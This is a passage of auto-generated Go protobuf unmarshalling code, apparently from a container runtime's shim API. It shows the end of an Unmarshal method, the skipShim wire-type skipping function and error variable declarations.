| return ErrInvalidLengthShim 5269 | } 5270 | if postIndex > l { 5271 | return io.ErrUnexpectedEOF 5272 | } 5273 | if err := github_com_gogo_protobuf_types.StdTimeUnmarshal(&m.ExitedAt, dAtA[iNdEx:postIndex]); err != nil { 5274 | return err 5275 | } 5276 | iNdEx = postIndex 5277 | default: 5278 | iNdEx = preIndex 5279 | skippy, err := skipShim(dAtA[iNdEx:]) 5280 | if err != nil { 5281 | return err 5282 | } 5283 | if skippy < 0 { 5284 | return ErrInvalidLengthShim 5285 | } 5286 | if (iNdEx + skippy) < 0 { 5287 | return ErrInvalidLengthShim 5288 | } 5289 | if (iNdEx + skippy) > l { 5290 | return io.ErrUnexpectedEOF 5291 | } 5292 | m.XXX_unrecognized = append(m.XXX_unrecognized, dAtA[iNdEx:iNdEx+skippy]...) 5293 | iNdEx += skippy 5294 | } 5295 | } 5296 | 5297 | if iNdEx > l { 5298 | return io.ErrUnexpectedEOF 5299 | } 5300 | return nil 5301 | } 5302 | func skipShim(dAtA []byte) (n int, err error) { 5303 | l := len(dAtA) 5304 | iNdEx := 0 5305 | for iNdEx < l { 5306 | var wire uint64 5307 | for shift := uint(0); ; shift += 7 { 5308 | if shift >= 64 { 5309 | return 0, ErrIntOverflowShim 5310 | } 5311 | if iNdEx >= l { 5312 | return 0, io.ErrUnexpectedEOF 5313 | } 5314 | b := dAtA[iNdEx] 5315 | iNdEx++ 5316 | wire |= (uint64(b) & 0x7F) << shift 5317 | if b < 0x80 { 5318 | break 5319 | } 5320 | } 5321 | wireType := int(wire & 0x7) 5322 | switch wireType { 5323 | case 0: 5324 | for shift := uint(0); ; shift += 7 { 5325 | if shift >= 64 { 5326 | return 0, ErrIntOverflowShim 5327 | } 5328 | if iNdEx >= l { 5329 | return 0, io.ErrUnexpectedEOF 5330 | } 5331 | iNdEx++ 5332 | if dAtA[iNdEx-1] < 0x80 { 5333 | break 5334 | } 5335 | } 5336 | return iNdEx, nil 5337 | case 1: 5338 | iNdEx += 8 5339 | return iNdEx, nil 5340 | case 2: 5341 | var length int 5342 | for shift := uint(0); ; shift += 7 { 5343 | if shift >= 64 { 5344 | return 0, ErrIntOverflowShim 5345 | } 5346 | if iNdEx >= l { 5347 | return 0, io.ErrUnexpectedEOF 5348 | } 5349 | b := dAtA[iNdEx] 5350 | iNdEx++ 5351 | length |= (int(b) & 0x7F) << shift 5352 | if b < 0x80 { 5353 | break 5354 | } 5355 | } 5356 | if length < 0 { 5357 | return 0, ErrInvalidLengthShim 5358 | } 5359 | iNdEx += length 5360 | if iNdEx < 0 { 5361 | return 0, ErrInvalidLengthShim 5362 | } 5363 | return iNdEx, nil 5364 | case 3: 5365 | for { 5366 | var innerWire uint64 5367 | var start int = iNdEx 5368 | for shift := uint(0); ; shift += 7 { 5369 | if shift >= 64 { 5370 | return 0, ErrIntOverflowShim 5371 | } 5372 | if iNdEx >= l { 5373 | return 0, io.ErrUnexpectedEOF 5374 | } 5375 | b := dAtA[iNdEx] 5376 | iNdEx++ 5377 | innerWire |= (uint64(b) & 0x7F) << shift 5378 | if b < 0x80 { 5379 | break 5380 | } 5381 | } 5382 | innerWireType := int(innerWire & 0x7) 5383 | if innerWireType == 4 { 5384 | break 5385 | } 5386 | next, err := skipShim(dAtA[start:]) 5387 | if err != nil { 5388 | return 0, err 5389 | } 5390 | iNdEx = start + next 5391 | if iNdEx < 0 { 5392 | return 0, ErrInvalidLengthShim 5393 | } 5394 | } 5395 | return iNdEx, nil 5396 | case 4: 5397 | return iNdEx, nil 5398 | case 5: 5399 | iNdEx += 4 5400 | return iNdEx, nil 5401 | default: 5402 | return 0, fmt.Errorf("proto: illegal wireType %d", wireType) 5403 | } 5404 | } 5405 | panic("unreachable") 5406 | } 5407 | 5408 | var ( 5409 | ErrInvalidLengthShim = fmt.Errorf("proto: negative length found during unmarshaling") 5410 | ErrIntOverflowShim = fmt.Errorf("proto: integer overflow") 5411 | ) 5412 | --------------------------------------------------------------------------------